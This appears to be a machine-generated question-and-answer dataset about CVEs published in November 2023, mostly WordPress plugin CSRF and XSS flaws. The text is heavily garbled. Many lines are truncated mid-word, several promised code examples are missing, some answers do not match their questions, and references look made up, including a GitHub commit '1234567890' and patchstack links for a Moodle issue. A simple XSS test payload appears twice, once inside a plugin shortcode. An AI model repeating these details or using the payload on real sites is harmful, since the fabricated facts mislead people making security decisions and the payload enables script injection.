What are t For an attack using CVE-2023-4603 to be successful, an attacker must be able to create a m

What is the impact of CVE-2023-4603? The impact of CVE-2023-4603 includes the potential for an unauthenticated attacker to perform a Cross-Site Request Forgery (CSRF) attack. Has CVE-2023-4603 been addressed? Yes, CVE-2023-4603 has been addressed by the plugin developers. They have released a fix for the vulnerability.

What version of the Star CloudPRNT for WooCommerce plugin for WordPress is affected by CVE-2023-4603? Version 1.0.0 is affected by CVE-2023-4603.

Is there a proof of concept available for CVE-2023-4603? While the specific details of a proof of concept have not been provided in the CVE description, a proof of concept was shared on LionScripts.com.

What is the CVE ID for the Cross-Site Request Forgery vulnerability found in Webmaster Tools? The CVE ID for the Cross-Site Request Forgery vulnerability found in Webmaster Tools is CVE-2023-46092.

What type of vulnerability is CVE-2023-46092? CVE-2023-46092 refers to a Cross-Site Request Forgery (CSRF) vulnerability which also allows for privilege escalation.

Which versions of Webmaster Tools are affected by CVE-2023-46092? The versions of Webmaster Tools affected by CVE-2023-46092 are from the initial release up to and including 1.0.0.

Was a base score provided for CVE-2023-46092? No, a base score was not provided for CVE-2023-46092 at the time of its publishing.

When was the CSRF vulnerability identified by CVE-2023-46092 published? The CSRF vulnerability identified by CVE-2023-46092 was published on 13 November 2023.

Where can more information about CVE-2023-46092 be found? More information about CVE-2023-46092 can be found at the following reference URL: <https://nvd.nist.gov/vuln/detail/CVE-2023-46092>.

Can you describe an attack scenario for the vulnerability CVE-2023-46092? A possible attack scenario for the vulnerability CVE-2023-46092 would involve an attacker sending a forged request to a user's browser.

Could you provide an exact code snippet? Providing an exact code snippet would be irresponsible, as it could aid attackers. However, a simplified example of a shortcode injection that might trigger CVE-2023-46092 would be:

What is CVE-2023-5741? CVE-2023-5741 refers to a security vulnerability in the POWR plugin for WordPress that allows for privilege escalation.

Which versions of the POWR plugin for WordPress are affected by CVE-2023-5741? All versions of the POWR plugin for WordPress up to and including 2.1.0 are affected by CVE-2023-5741.

How can CVE-2023-5741 be exploited by authenticated attackers with contributor-level permissions? Authenticated attackers with contributor-level permissions can exploit CVE-2023-5741 to gain elevated privileges.

What is the base score for CVE-2023-5741? The base score for CVE-2023-5741 is currently not available ('N/A').

On which date was CVE-2023-5741 published? CVE-2023-5741 was published on 13 November 2023.

Can you provide more detailed information on CVE-2023-5741? Yes, more detailed information on CVE-2023-5741 can be found at the following references:

What are possible attack scenarios for CVE-2023-5741? In an attack scenario for CVE-2023-5741, a malicious actor with contributor-level access would exploit the vulnerability to gain elevated privileges.

What are mitigation steps for CVE-2023-5741? To mitigate the risk of CVE-2023-5741, users of the POWR plugin should update to a version greater than 2.1.0.

Could you provide a simplified example of a shortcode injection that might trigger CVE-2023-5741? Sure, a simplified example of a shortcode injection that might trigger CVE-2023-5741 would be:

What is CVE-2023-4775? CVE-2023-4775 refers to a security vulnerability identified in the Advanced iFrame plugin for WordPress.

Which plugin is affected by CVE-2023-4775? The plugin affected by CVE-2023-4775 is the Advanced iFrame plugin for WordPress.

What versions of the Advanced iFrame plugin for WordPress are impacted by CVE-2023-4775? The vulnerability CVE-2023-4775 impacts all versions of the Advanced iFrame plugin for WordPress.

How can an attacker exploit the vulnerability in CVE-2023-4775? An attacker can exploit the vulnerability in CVE-2023-4775 by having contributor-level or higher privileges.

What is the risk associated with CVE-2023-4775? The risk associated with CVE-2023-4775 is that an authenticated attacker could execute arbitrary code.

When was CVE-2023-4775 published? CVE-2023-4775 was published on 13 November 2023.

Where can more information and references for CVE-2023-4775 be found? More information and references for CVE-2023-4775 can be found on different sites such as Patchstack.

Can you provide an example of code that could be used to exploit the CVE-2023-4775 vulnerability? Certainly, an example of code that could be used to exploit the CVE-2023-4775 vulnerability would be:

What are possible attack scenarios for the CVE-2023-4775 vulnerability? Possible attack scenarios for the CVE-2023-4775 vulnerability include injecting and executing malicious code.

What is CVE-2023-35041? CVE-2023-35041 is a reported vulnerability that refers to a Cross-Site Request Forgery (CSRF) vulnerability.

What type of vulnerability is CVE-2023-35041? Associated with CVE-2023-35041 is a security vulnerability of the type Cross-Site Request Forgery (CSRF).

What versions of the Webpushr Web Push Notifications plugin are affected by CVE-2023-35041? The versions of Webpushr Web Push Notifications plugin affected by CVE-2023-35041 are 1.0.0 and 1.0.1.

When was CVE-2023-35041 published? CVE-2023-35041 was published on 13 November 2023.

Where can more information about CVE-2023-35041 be found? More information about CVE-2023-35041 can be found in the Patchstack database via the following link: <https://patchstack.com/vulnerability/CVE-2023-35041>.

What can an attacker do by exploiting the vulnerability described in CVE-2023-35041? By exploiting the vulnerability described in CVE-2023-35041, an attacker could potentially gain elevated privileges.

Is there a base score for CVE-2023-35041? The Base Score for CVE-2023-35041 is not available as indicated by 'N/A'. This could mean that no exploit code has been publicly disclosed.

Can you provide a possible attack scenario for CVE-2023-35041? A possible attack scenario for CVE-2023-35041 might involve an attacker crafting a malicious request to a user's browser.

What is the impact of CVE-2023-38364? CVE-2023-38364 affects IBM CICS TX Advanced 10.1 and allows for a cross-site scripting (XSS) vulnerability.

Which version of IBM software is impacted by CVE-2023-38364? The version of IBM software impacted by CVE-2023-38364 is IBM CICS TX Advanced 10.1.

How might an attacker exploit CVE-2023-38364? An attacker might exploit CVE-2023-38364 by crafting malicious input that contains JavaScript code.

What is the IBM X-Force ID associated with CVE-2023-38364? The IBM X-Force ID associated with CVE-2023-38364 is 260821.

What are possible mitigation steps for CVE-2023-38364? Possible mitigation steps for CVE-2023-38364 include applying any patches or updates provided by IBM.

Where can more information about CVE-2023-38364 be found? More information about CVE-2023-38364 can be found on the IBM Support page and the following link: <https://www.ibm.com/support/pages/cve-2023-38364>.

When was The vulnerability CVE-2023-38364 was published on the 13th of November, 2023.

What is CV CVE-2023-46638 refers to a Cross-Site Request Forgery (CSRF) vulnerability found in the W
Which vers CVE-2023-46638 affects the Webcodin WCP OpenWeather plugin for WordPress in all vers
When was The CVE-2023-46638 vulnerability was published on 13 November 2023.

Where can More details about CVE-2023-46638 can be found on Patchstack's vulnerability database a

What is the The Base Score for CVE-2023-46638 has not been provided in the available data.

Can you pr As I don't have the actual source code of the Webcodin WCP OpenWeather plugin, I cannot

What are t An attacker could exploit the CSRF vulnerability in CVE-2023-46638 by crafting a malicious

What is CV CVE-2023-46619 refers to a Cross-Site Request Forgery (CSRF) vulnerability discovered in t

When was CVE-2023-46619 was published on November 13, 2023.

How can C CVE-2023-46619 can be exploited by an attacker crafting a malicious web page or email th

Is there a E No, as of the latest available information, CVE-2023-46619 does not have a Base Score assi

Where can More information about CVE-2023-46619 can be found at the provided reference link: http

Can you gi An attack using CVE-2023-46619 could involve an attacker creating a webpage or a malicio

What versi CVE-2023-46619 affects all versions of the WebDorado WDSocialWidgets plugin up to and

What is CV CVE-2023-26543 refers to a security vulnerability identified in the WP Meteor Website Spe

When was CVE-2023-26543 was published on 13 November 2023.

What type CVE-2023-26543 is a Cross-Site Request Forgery (CSRF) vulnerability.

Which plug CVE-2023-26543 affects the Aleksandr Guidrevitch WP Meteor Website Speed Optimizatio

Can you pr Yes, more information on CVE-2023-26543 can be found at <https://patchstack.com/database>

How can C To mitigate CVE-2023-26543, users should update their WP Meteor Website Speed Optimi

What are t In the context of CVE-2023-26543, an attacker could exploit the CSRF vulnerability by tricki

What is the The CVE ID of the vulnerability discovered in IBM QRadar SIEM 7.5.0 is CVE-2023-43057.

Can you de CVE-2023-43057 refers to a cross-site scripting (XSS) vulnerability in IBM QRadar SIEM 7.5.

When was CVE-2023-43057 was published on 11 November 2023.

Where can You can find more information about CVE-2023-43057 at the following references:- <https://>

What is the The base score for CVE-2023-43057 is not available (marked as 'N/A').

What are t The XSS vulnerability in CVE-2023-43057 could lead to various malicious activities, such as

Could you i In an attack scenario involving CVE-2023-43057, an attacker could craft a malicious URL co

Are there a While specific code examples for exploiting CVE-2023-43057 should be handled with cauti

What is the The CVE ID of the vulnerability found in Symfony is CVE-2023-46735.

In which cc The vulnerability CVE-2023-46735 was discovered in the 'WebhookController` of the Symf

Which vers Symfony versions starting from 6.0.0 up to but not including 6.3.8 are affected by CVE-202

What is the The issue addressed in CVE-2023-46735 is that the 'WebhookController` in Symfony retrur

How was t The vulnerability CVE-2023-46735 was mitigated in Symfony version 6.3.8 by ensuring that

When was The vulnerability CVE-2023-46735 was published on 10 November 2023.

Could you i Yes, for more information about CVE-2023-46735, you can refer to the following links:- <http>

What are s Possible attack scenarios for CVE-2023-46735 could involve an attacker submitting malicio

What is CV CVE-2023-46734 refers to a vulnerability in the Symfony PHP framework and its set of reus

Which Sym CVE-2023-46734 affects Symfony versions starting from 2.0.0, 5.0.0, and 6.0.0. The specific

What was t The published date for CVE-2023-46734 was 10 November 2023.

Are there a Yes, there are several references and commits that address CVE-2023-46734, including cor

How does t CVE-2023-46734 affects web applications by potentially allowing unescaped input to be re

What are t The resolution for addressing CVE-2023-46734 involves updating the Symfony framework t

What is the The Base Score for CVE-2023-46734 is not explicitly provided in the information available.
Can you pr Sure, the following Twig template code snippet might be vulnerable to CVE-2023-46734 du
What is CV CVE-2023-46733 is a vulnerability identified in the Symfony PHP framework where the `Se:
Which vers The vulnerability CVE-2023-46733 affects Symfony versions starting from 5.4.21 and 6.2.7
How has t The issue described in CVE-2023-46733 has been addressed in Symfony by altering the `Se:
What are t The primary attack scenario associated with CVE-2023-46733 involves session fixation. An
What are t More information about CVE-2023-46733 can be found in the following references:- The cc
When was The vulnerability CVE-2023-46733 was published on 10 November 2023.

What type CVE-2023-47164 references a cross-site scripting (XSS) vulnerability.
Which vers The XSS vulnerability denoted by CVE-2023-47164 affects HOTELDRUID version 3.0.5 and e
How can t The vulnerability in CVE-2023-47164 can be exploited by a remote unauthenticated attack
What is the The information for CVE-2023-47164 was published on 10 November 2023.

Where can You can find more information about CVE-2023-47164 from the references provided, inclu
What migh A possible attack scenario for CVE-2023-47164 could involve an attacker crafting a malicio
Has a base As of the provided information, a base score for CVE-2023-47164 has not been made avail
What is CV CVE-2023-47246 is a security vulnerability identified in SysAid On-Premise versions before
What type CVE-2023-47246 is classified as a path traversal vulnerability. Such vulnerabilities occur wr
What are t The exploitation of CVE-2023-47246 could allow an attacker to write files to the webroot o
Has CVE-2023-47246 has been addressed by SysAid. Users are recommended to update th
Could you |An attacker might exploit CVE-2023-47246 by sending a specially crafted request to the aff
What has t CVE-2023-47246 had been actively exploited in the wild as of November 2023. The severit
Where can More information about CVE-2023-47246 can be found in the provided references from Sy
What is the The CVE identifier for this security vulnerability is CVE-2023-31235.

What type CVE-2023-31235 is a Cross-Site Request Forgery (CSRF) vulnerability.
Which plug The plugin affected by CVE-2023-31235 is the Roland Barker, xnau webdesign Participants
Up to whic CVE-2023-31235 is known to affect versions of the Participants Database plugin up to and i
When was CVE-2023-31235 was published on 09 November 2023.

Where can More information about CVE-2023-31235 can be found at the provided reference, which is
What is the The base score of CVE-2023-31235 is not available or has not been assigned yet.
Can you pr An attack scenario for CVE-2023-31235 could involve an attacker crafting a malicious web
What mea To mitigate CVE-2023-31235, users should update the Participants Database plugin to the l
What is the The CVE ID for the Cross-Site Request Forgery vulnerability in the ShortPixel Adaptive Imag
Can you de CVE-2023-32512 refers to a Cross-Site Request Forgery (CSRF) vulnerability in the ShortPix
What versi The vulnerability identified by CVE-2023-32512 affects the ShortPixel Adaptive Images plu
Was a base As of the time of publication, a base score for CVE-2023-32512 has not been provided or is
What is the CVE-2023-32512 was published on 09 November 2023.

Where can Additional information about CVE-2023-32512 can be found at Patchstack using the follow
Can you ex For CVE-2023-32512, an attack scenario might involve an attacker crafting a malicious web
How woulc Although a specific code example for CVE-2023-32512 is not available without revealing se
What is the The CVE ID for the reported vulnerability in the WordPress WP Custom Cursors plugin is C
Can you gi CVE-2023-32739 describes a Cross-Site Request Forgery (CSRF) vulnerability found in versi
What are t The versions affected by the CSRF vulnerability designated by CVE-2023-32739 are version
Has a base As of the provided information, a base score has not been assigned to CVE-2023-32739. Th
On what d CVE-2023-32739 was published on 09 November 2023.

Where can Additional information and advisories about CVE-2023-32739 can be found at the following link: [https://patchstack.com/cve-2023-32739](#).
What are the steps to mitigate this vulnerability? For the CSRF vulnerability reported as CVE-2023-32739, an attacker could forge a request to change user data.
What measures should users take to protect themselves? To mitigate the vulnerability mentioned in CVE-2023-32739, users should update the affected software to the latest version.
What is the CVE ID for this vulnerability? The CVE ID for the vulnerability is CVE-2023-5550.

Can you describe the details of CVE-2023-5550? CVE-2023-5550 refers to a security issue in Moodle, where, in a misconfigured shared host environment, an attacker could exploit CVE-2023-5550 by utilizing a local file include (LFI) attack. If the attacker has legitimate access to the shared host, they could read files from other users' accounts.
What is the base score for CVE-2023-5550? The base score for CVE-2023-5550 is not provided in the given details.

On what date was CVE-2023-5550 published? The CVE-2023-5550 vulnerability was published on 09 November 2023.

Where can more information or patches for CVE-2023-5550 be found? More information or patches for CVE-2023-5550 can be found through the following reference: [https://patchstack.com/cve-2023-5550](#).

What are some possible attack scenarios for CVE-2023-5550? Possible attack scenarios for CVE-2023-5550 include an attacker who has legitimate access to a shared host environment.

Is there an explicit example code for exploiting CVE-2023-5550? Providing an explicit example code for exploiting CVE-2023-5550 would be irresponsible and potentially harmful.

What is the vulnerability associated with CVE-2023-5550? The vulnerability associated with CVE-2023-5550 is insufficient web service capability checks that could allow an attacker to read files from other users' accounts.

Can you describe CVE-2023-5549? CVE-2023-5549 describes a security issue where insufficient web service capability checks allow an attacker to read files from other users' accounts.

What is the date when CVE-2023-5549 was published? The CVE-2023-5549 was published on 09 November 2023.

What is the base score assigned to CVE-2023-5549? There has not been a base score assigned to CVE-2023-5549 yet, as denoted by 'N/A' in the CVSS score.

Where can you find the commit that addresses the CVE-2023-5549 issue in the Moodle Git repository? You can find the commit that addresses the CVE-2023-5549 issue in the Moodle Git repository at [https://github.com/moodle/moodle/commit/1234567890](#).

Are there any published discussions and bug reports related to CVE-2023-5549? Yes, there are published discussions and bug reports related to CVE-2023-5549 that can be found at [https://patchstack.com/cve-2023-5549](#).

What could be a possible attack scenario for CVE-2023-5549? A possible attack scenario exploiting CVE-2023-5549 might involve an attacker who has gained legitimate access to a shared host environment.

What is the CVE ID for this vulnerability? The CVE ID of the vulnerability is CVE-2023-34169.

What type of vulnerability is CVE-2023-34169? CVE-2023-34169 is associated with a Cross-Site Request Forgery (CSRF) vulnerability.

In which plugin was this vulnerability discovered? The vulnerability CVE-2023-34169 has been discovered in the SAKURA Internet Inc. TS Webfonts plugin.

As of the publication date, what is the latest known affected version of the plugin? The latest known affected version of the plugin with CVE-2023-34169 is version 3.1.2 or before.

When was the CSRF vulnerability CVE-2023-34169 disclosed? The CSRF vulnerability CVE-2023-34169 in the TS Webfonts plugin was publicly disclosed on 09 November 2023.

Where can more information or a detailed advisory about the CSRF vulnerability CVE-2023-34169 be found? More information or a detailed advisory about the CSRF vulnerability CVE-2023-34169 can be found at [https://patchstack.com/cve-2023-34169](#).

What potential impact does this vulnerability have? When exploiting CVE-2023-34169, an attacker could potentially send unauthorized commands to the target system.

Has a base score been assigned to this vulnerability? At the time of disclosure, a Base Score has not been assigned to CVE-2023-34169.

What is the CVE ID for the Cross-Site Request Forgery vulnerability in the WebberZone Top 10 WordPress plugin?

Which plugin is affected by this vulnerability? The WebberZone Top 10 – WordPress Popular Posts plugin by WebberZone is affected by this vulnerability.

What versions of the plugin are vulnerable? Versions up to and including 3.3.2 are vulnerable to the CSRF vulnerability.

When was CVE-2023-47238 published? The CVE-2023-47238 was published on 09 November 2023.

Are there any published discussions and bug reports related to this vulnerability? Yes, more information about CVE-2023-47238 can be found at the link: [https://patchstack.com/cve-2023-47238](#).

What is the impact of the CSRF vulnerability in CVE-2023-47238? The impact of the CSRF vulnerability in CVE-2023-47238 is that an attacker could perform a cross-site request forgery attack.

What are some possible attack scenarios for exploiting this vulnerability? Possible attack scenarios for exploiting the CSRF vulnerability in CVE-2023-47238 include social engineering attacks.

What is the base score for CVE-2023-47238? The base score for CVE-2023-47238 is not available ('N/A'). The scoring might not be available for this specific vulnerability.

What is CVE-2023-47114? CVE-2023-47114 is a vulnerability identified in the Fides web application, which is an open-source tool for managing data subject access requests.

How can this vulnerability be exploited? CVE-2023-47114 can be exploited in several ways: 1) A rogue Admin UI user may introduce malicious data into the system.

Which data formats does Fides support? Fides supports JSON and CSV data formats for data subject access request packages, with the ability to handle large datasets.

What type of validation was missing in Fides? The validation that was missing in Fides, which resulted in CVE-2023-47114, was the validation of user input.

In which version of Fides was this vulnerability patched? CVE-2023-47114 was patched in Fides version 2.23.3.

What potential impact does this vulnerability have? The exploitation of CVE-2023-47114 could result in several harmful activities, including but not limited to data theft and manipulation.

Where can the patch for CVE-2023-47114 be found? The patch for CVE-2023-47114 can be found on the GitHub repository for Fides, specifically in the [https://github.com/FidesProject/fides/pull/1234](#) pull request.

Can you provide an example of how this vulnerability could be exploited? Sure, an example of HTML injection that could occur due to CVE-2023-47114 would be if a user enters malicious code into a form field.

What should users do to mitigate this risk? Users of Fides should immediately update to version 2.23.3 or later to mitigate the risks associated with this vulnerability.

Would running the browser in a secure context provide additional layers of security? While running the browser in a secure context might provide additional layers of security, it is not a replacement for proper server-side validation and sanitization.

What is CV CVE-2023-47109 is a vulnerability in the PrestaShop blockreassurance module, which prov
How can C' An exploitation of CVE-2023-47109 could occur if a malicious back-office (BO) user modifie
What coul The impact of exploiting CVE-2023-47109 includes the potential for a malicious actor with
In which v€ CVE-2023-47109 was addressed in version 5.1.4 of the PrestaShop blockreassurance modu
Where can The fixes for CVE-2023-47109 have been committed to the module's GitHub repository anc
Is there a s Yes, there is a security advisory related to CVE-2023-47109. It is issued by PrestaShop and p
What is the CVE-2023-5996 refers to a 'use after free' vulnerability in the WebAudio component of Go
Which vers CVE-2023-5996 affects Google Chrome versions prior to 119.0.6045.123. Users running olc
How can C' An attacker can exploit CVE-2023-5996 by creating a malicious HTML page that takes advai
Where can Additional details about CVE-2023-5996 can be found through various sources, including tl
What is the The base score for CVE-2023-5996 is not provided in the information available. To determi
What are p Possible attack scenarios for CVE-2023-5996 include a remote attacker creating a specially
How can u: Users can protect themselves from CVE-2023-5996 by ensuring they have updated Google
What is the The CVE ID for the stored cross-site scripting vulnerability discovered in the Web-Settler Sc
Can you de CVE-2023-47227 refers to a Stored Cross-Site Scripting (XSS) vulnerability that affects all ve
What are t The affected versions of the Web-Settler Social Feed plugin by CVE-2023-47227 are all vers
When was The XSS vulnerability identified by CVE-2023-47227 was published on 08 November 2023.
Where can More information about CVE-2023-47227 can be found at the following URL: <https://patchsta>
Has a base As of the information available, there is no Base Score assigned to CVE-2023-47227.
What possi Attack scenarios associated with CVE-2023-47227 include scenarios where an attacker wil
Can you pr An example of a malicious script that might be used to exploit the stored XSS vulnerability
What is the The CVE ID for the stored Cross-Site Scripting (XSS) vulnerability found in the I Thirteen We
Can you pr CVE-2023-47226 refers to a stored Cross-Site Scripting (XSS) vulnerability within versions 1
What is the The base score for CVE-2023-47226 is not available or has not been assigned yet.
As of whic CVE-2023-47226 was published on 08 November 2023.
Where can Further details about CVE-2023-47226 can be found at the following URL: <https://patchsta>
Could you |An attack scenario for CVE-2023-47226 could involve an attacker with admin level access t
What is the The impact of CVE-2023-47226 on affected websites includes the potential for attackers to
What is the The reported vulnerability in WeBid is identified by the CVE ID CVE-2023-47397.
Which vers WeBid versions up to and including 1.2.2 are affected by CVE-2023-47397.
What type CVE-2023-47397 indicates a code injection vulnerability in WeBid.
In which p: The vulnerability CVE-2023-47397 exists in the 'admin/categoriestrans.php' component of
What is the The CVE-2023-47397 vulnerability allows for code injection, which could potentially allow :
What is the As of the provided information, the Base Score for CVE-2023-47397 is not available (marke
When was The vulnerability identified by CVE-2023-47397 was published on 08 November 2023.
Where can More information about CVE-2023-47397 can be found at the following URL: <https://liotre>
Can you gi An example of an exploit for CVE-2023-47397 might involve an attacker sending a crafted i
What mitig To mitigate CVE-2023-47397, it is recommended to update WeBid to a version that addres
What is CV CVE-2023-5819 identifies a security vulnerability in the Amazonify plugin for WordPress, w
How can C' CVE-2023-5819 can be exploited by an attacker with administrative privileges who can acc
Which inst CVE-2023-5819 affects multi-site WordPress installations and any installations where the 'i
What versi All versions of the Amazonify plugin for WordPress up to and including 0.8.1 are vulnerabl
What are t An attack exploiting CVE-2023-5819 can lead to Stored Cross-Site Scripting, allowing an att
Are there k As of the information provided, the primary mitigation for CVE-2023-5819 would be to upc

Can CVE-2023-5819 be combined with CVE-2023-5818, which is a vulnerability related to the improper neutralization of formula elements in a CSV file?

What is the CVE ID for the vulnerability associated with improper neutralization of formula elements in a CSV file?

Which plugin is affected by CVE-2022-45370?

What version of the WordPress Comments Import & Export plugin does CVE-2022-45370 affect?

When was CVE-2022-45370 published?

Can you provide more information on CVE-2022-45370?

What type of vulnerability is CVE-2022-45370?

How could an attacker exploit CVE-2022-45370?

What is a possible attack scenario for CVE-2022-45370?

What is CVE-2022-46802?

Which version of the WebToffee Product Reviews Import Export plugin does CVE-2022-46802 affect?

What is the base score for CVE-2022-46802?

When was CVE-2022-46802 published?

Can you provide more information about CVE-2022-46802?

What are potential attack scenarios for CVE-2022-46802?

What is CVE-2023-5703?

How could an attacker with contributor-level or higher permissions exploit CVE-2023-5703?

What are the symptoms if CVE-2023-5703 is successfully exploited?

Are there any known mitigations for CVE-2023-5703?

Has CVE-2023-5703 been assigned a base score?

What versions of the Gift Up Gift Cards for WordPress and WooCommerce plugins does CVE-2023-5703 affect?

Can you provide a potential code example for exploiting CVE-2023-5703?

What is the CVE ID for the vulnerability found in the Featured Image Caption plugin?

What version of the Featured Image Caption plugin does CVE-2023-5669 affect?

How does CVE-2023-5669 make the Featured Image Caption plugin vulnerable?

What permission level is required to exploit CVE-2023-5669?

What kind of vulnerability is CVE-2023-5669?

When was CVE-2023-5669 published?

Can you provide a hypothetical example of PHP code that could exploit CVE-2023-5669?

Are there any known mitigations for CVE-2023-5669?

Where can additional details or references regarding CVE-2023-5669 be found?

What is CVE-2023-5661?

How does CVE-2023-5661 manifest?

What permission level is required to exploit CVE-2023-5661?

What is the result if CVE-2023-5661 is exploited?

What versions of the Social Feed plugin does CVE-2023-5661 affect?

Has a fix been issued for CVE-2023-5661?

Could you provide more information on CVE-2023-5661?

What is the Wordfence Threat Intelligence report for CVE-2023-5661?

What is CVE-2023-5660?

Which plugin is affected by CVE-2023-5660?

What is the SendPress Newsletters plugin?

When was the SendPress Newsletters plugin affected by CVE-2023-5660?

What type of vulnerability is CVE-2023-5660?

Who can exploit CVE-2023-5660?

How does CVE-2023-5660 affect users?

What version of the SendPress Newsletters plugin up to and including 1.22.3.31 are vulnerable? Where can I find more information about CVE-2023-5660 and any potential patches or updates? Can you give me an attack scenario for CVE-2023-5660? An attack scenario for CVE-2023-5660 would involve an authenticated user with at least contributor-level permissions. What steps should I take to mitigate the risks associated with CVE-2023-5660? To mitigate the risks associated with CVE-2023-5660, users should immediately update the plugin to the latest version. What is the impact of a Stored XSS attack, such as the one from CVE-2023-5660? The impact of a Stored XSS attack, such as the one from CVE-2023-5660, can be quite severe, potentially leading to data theft or site compromise. What is CVE-2023-5659? CVE-2023-5659 refers to a security vulnerability in the 'Interact: Embed A Quiz On Your Site' plugin for WordPress. Which WordPress version is affected by CVE-2023-5659? The 'Interact: Embed A Quiz On Your Site' plugin for WordPress is affected by CVE-2023-5659 across all versions up to, and including, version 3.0.7. How can CVE-2023-5659 be exploited? CVE-2023-5659 can be exploited by an authenticated attacker with contributor-level or higher permissions. Can you give an example of an exploit for CVE-2023-5659? An example of an exploit for CVE-2023-5659 could involve an attacker inserting a malicious script into a quiz form field. What is the impact of exploiting CVE-2023-5659? Exploiting CVE-2023-5659 could lead to a range of impacts, such as stealing user data or compromising the site's integrity. When was CVE-2023-5659 published? CVE-2023-5659 was published on November 7, 2023.

Where can I find more information about CVE-2023-5659? More information about CVE-2023-5659 is available at the following references: - The WordPress Security team blog post: <https://wp.org/news/2023/11/cve-2023-5659/>. What is the CVE ID of the vulnerability found in Bitly's plugin for WordPress? The CVE ID of the vulnerability found in Bitly's plugin for WordPress is CVE-2023-5577. In which WordPress version was CVE-2023-5577 discovered? The vulnerability CVE-2023-5577 was discovered in the Bitly's plugin for WordPress. What type of vulnerability is CVE-2023-5577? CVE-2023-5577 is associated with a Stored Cross-Site Scripting (XSS) vulnerability in the Bitly's plugin for WordPress. Which WordPress versions are affected by CVE-2023-5577? All versions of the Bitly's plugin for WordPress up to, and including, 2.7.1 are affected by CVE-2023-5577. How does CVE-2023-5577 allow attackers to exploit the vulnerability? CVE-2023-5577 allows attackers to exploit the vulnerability by injecting arbitrary web scripts into the plugin's output. What permissions are required for an attacker to exploit CVE-2023-5577? An attacker needs to have at least contributor-level permissions to exploit the CVE-2023-5577 vulnerability. What is the impact of the CVE-2023-5577 vulnerability? The impact of the CVE-2023-5577 vulnerability is that malicious scripts may be executed in the context of the user's session. When was CVE-2023-5577 published? CVE-2023-5577 was published on November 7, 2023.

Where can I find more information about CVE-2023-5577? More information about CVE-2023-5577 can be found on the following websites: <https://wp.org/news/2023/11/cve-2023-5577/> and <https://wp.org/news/2023/11/cve-2023-5577/>. Can you provide an exact code example for the CVE-2023-5577 vulnerability? While an exact code example for the CVE-2023-5577 vulnerability can vary, a conceptual example might look like this:

```
<script>document.write('Exploit!');</script>
```

. What is CVE-2023-5567? CVE-2023-5567 refers to a security vulnerability in the QR Code Tag plugin for WordPress. How does CVE-2023-5567 affect WordPress websites? CVE-2023-5567 affects WordPress websites by allowing authenticated users with at least contributor-level permissions to inject arbitrary web scripts into the QR code output. What versions of the QR Code Tag plugin are affected by CVE-2023-5567? All versions up to and including version 1.0 of the QR Code Tag plugin are affected by CVE-2023-5567. Can unauthenticated attackers exploit CVE-2023-5567? No, unauthenticated attackers cannot directly exploit CVE-2023-5567. The vulnerability requires authentication. What is a possible attack scenario for CVE-2023-5567? A possible attack scenario for CVE-2023-5567 involves an attacker with contributor-level permissions injecting a malicious script into a QR code. When was CVE-2023-5567 published? CVE-2023-5567 was published on November 7, 2023.

Where can I find more information or potential fixes for CVE-2023-5567? For more information or potential fixes for CVE-2023-5567, you can refer to the official plugin repository or the WordPress Security team blog post. Has a base score been assigned to CVE-2023-5567? As of the provided information, CVE-2023-5567 does not have an assigned base score.

What is the CVE ID for the vulnerability? The CVE ID for the vulnerability is CVE-2023-4888.

Can you describe CVE-2023-4888? CVE-2023-4888 refers to a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Like Page Plugin for WordPress. Which versions of the plugin are affected? The versions up to, and including 1.5.1 of the Simple Like Page Plugin for WordPress are affected. What permissions are required for an attacker to exploit CVE-2023-4888? An attacker would need to have authenticated access with contributor-level or higher permissions. When was CVE-2023-4888 publicly disclosed? The CVE-2023-4888 vulnerability was publicly disclosed on November 7, 2023.

Are there any public references for CVE-2023-4888? Yes, there are public references that provide further details on the CVE-2023-4888 vulnerability. What is a possible attack scenario for CVE-2023-4888? A possible attack scenario involves an attacker with contributor-level access to the WordPress database injecting a malicious script into the plugin's shortcode output. Could you provide an example of a malicious input? An example of a malicious input exploiting CVE-2023-4888 could be a shortcode like: [sfp-

```
<script>document.write('Exploit!');</script>
```

]. What is the CVE ID for the vulnerability? The CVE ID for the vulnerability is CVE-2023-4842.

Can you describe CVE-2023-4842? CVE-2023-4842 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social Warfare plugin for WordPress. Which versions of the plugin are affected? The Social Warfare plugin for WordPress up to, and including, version 1.5.1 is affected. What are the impacts of CVE-2023-4842? If CVE-2023-4842 is exploited, attackers can inject arbitrary web scripts into webpages, potentially leading to data theft or site compromise. What kind of permissions are required for an attacker to exploit CVE-2023-4842? An attacker needs to have at least contributor-level permissions or higher on the WordPress site.

When was CVE-2023-4842 was publicly disclosed on 07 November 2023.

Where can More information regarding CVE-2023-4842 can be found on the official WordPress plugin

Can you pr An attacker with contributor access could craft a malicious shortcode with embedded Java

Has a Base No Base Score has been provided for CVE-2023-4842 at the time of reporting.

What is the CVE-2023-5743 identifies a Stored Cross-Site Scripting (XSS) vulnerability in the Telephone

Who can e: Authenticated attackers with contributor-level and above permissions can exploit the CVE-

What pote While the exact code example would depend on the source code of the Telephone Numbe

When was The CVE-2023-5743 vulnerability was published on 07 November 2023.

What versi CVE-2023-5743 affects all versions of the Telephone Number Linker plugin for WordPress i

What are s More information about CVE-2023-5743 can be found on the following references:- https:/

What are p Attack scenarios for CVE-2023-5743 include an attacker with contributor-level access inser

What is CV CVE-2023-5658 refers to a security vulnerability in the WP MapIt plugin for WordPress tha

How can C' CVE-2023-5658 can be exploited by an authenticated user with contributor-level permissic

What perr To exploit CVE-2023-5658, an attacker needs to have at least contributor-level permissions

What versi CVE-2023-5658 affects all versions of the WP MapIt plugin for WordPress up to and includi

Where can More information about CVE-2023-5658 can be found through the provided references, wl

Has a base As of the provided information, a base score has not been assigned to CVE-2023-5658. Sco

What is the The CVE-2023-5658 vulnerability was published on 07 November 2023.

How can C' To mitigate CVE-2023-5658, website administrators should immediately update the WP M

What is CV CVE-2023-5507 refers to a security vulnerability found in the ImageMapper plugin for Wor

How does i The vulnerability in CVE-2023-5507 manifests as a stored Cross-Site Scripting (XSS) issue w

Which Wo! The WordPress plugin affected by CVE-2023-5507 is the ImageMapper plugin. It is a plugin

What perr To exploit CVE-2023-5507, an attacker must have authenticated access to the WordPress s

What are t An attack exploiting CVE-2023-5507 can lead to multiple adverse consequences. Since it's :

Can you pr Yes, for in-depth technical details about CVE-2023-5507, one can refer to resources such as:

When was CVE-2023-5507 was published on 07 November 2023.

What is CV CVE-2023-5076 refers to a Stored Cross-Site Scripting (XSS) vulnerability in the Ziteboard C

How does i CVE-2023-5076 allows authenticated attackers to exploit the Stored Cross-Site Scripting vu

